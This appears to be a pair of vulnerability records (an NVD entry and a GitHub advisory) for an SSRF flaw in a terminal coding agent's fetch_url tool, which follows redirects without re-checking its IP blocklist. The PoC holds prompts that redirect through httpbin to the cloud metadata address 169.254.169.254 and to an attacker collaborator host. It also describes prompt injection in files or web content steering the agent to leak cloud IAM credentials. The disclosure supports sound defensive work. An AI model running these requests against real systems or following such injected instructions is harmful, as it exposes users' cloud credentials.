{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "CodeWhale is a DeepSeek + MiMo coding agent in terminal. Prior to 0.8.22, the fetch_url tool validates the initial URL\u0027s resolved IP address against a restricted-IP blocklist (is_restricted_ip()) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (reqwest) is configured to automatically follow up to 5 redirects (reqwest::redirect::Policy::limited(5)) without re-validating the redirect target against the same SSRF protections. This vulnerability is fixed in 0.8.22."
    }
  ],
  "id": "CVE-2026-45310",
  "lastModified": "2026-05-28T18:40:37.990",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.4,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 4.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-05-28T18:16:35.037",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Hmbown/CodeWhale/security/advisories/GHSA-96ff-gc8g-wpvg"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Hmbown/DeepSeek-TUI/releases/tag/v0.8.22"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deepseek-tui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deepseek-tui-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "deepseek-tui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45310"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:29:26Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe `fetch_url` tool validates the initial URL\u0027s resolved IP address against a restricted-IP blocklist (`is_restricted_ip()`) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (`reqwest`) is configured to automatically follow up to 5 redirects (`reqwest::redirect::Policy::limited(5)`) without re-validating the redirect target against the same SSRF protections.\n\n### PoC\n**Step 1 \u2014 Baseline:** Confirm `fetch_url` blocks direct requests to restricted IPs.\n```\nPrompt: use fetch_url to fetch http://169.254.169.254/latest/meta-data/\nExpected: Error \u2014 \"restricted address (private/loopback/link-local)\"\n```\n\n**Step 2 \u2014 SSRF bypass via redirect:** Fetch a public URL that redirects to the restricted IP.\n\n```\nPrompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/\u0026status_code=302\n```\n\n**Expected result:** The error message says \"connection refused\" or \"request failed: connect error\" \u2014 NOT \"restricted address.\" This proves the SSRF filter was bypassed; the connection failed only because `169.254.169.254` is unreachable from a non-cloud machine.\n\n**Observed result:** `fetch_url` followed the 302 redirect and attempted to connect to `169.254.169.254`. The error was a TCP-level connection failure, confirming the application-layer SSRF check was not applied to the redirect target.\n\n**Step 3 \u2014 Redirect to attacker-controlled host:** Confirm attacker-controlled redirect targets are followed.\n\n```\nPrompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://[collaborator-domain]/ssrf-redirect-bypass\u0026status_code=302\nExpected: Collaborator receives HTTP callback at /ssrf-redirect-bypass, confirming the redirect was followed.\n```\n\n### Impact\nOn cloud-hosted instances (AWS, GCP, Azure), an attacker can exfiltrate cloud IAM credentials, instance metadata, and other sensitive internal service data by redirecting `fetch_url` to `http://169.254.169.254/latest/meta-data/`. The attack is triggered via prompt injection (malicious instructions embedded in files or web content the model processes) that cause the model to call `fetch_url` with an attacker-controlled URL.",
  "id": "GHSA-96ff-gc8g-wpvg",
  "modified": "2026-05-14T20:29:27Z",
  "published": "2026-05-14T20:29:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Hmbown/DeepSeek-TUI/security/advisories/GHSA-96ff-gc8g-wpvg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Hmbown/DeepSeek-TUI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Hmbown/DeepSeek-TUI/releases/tag/v0.8.22"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DeepSeek TUI has SSRF via HTTP Redirect Bypass in fetch_url Tool"
}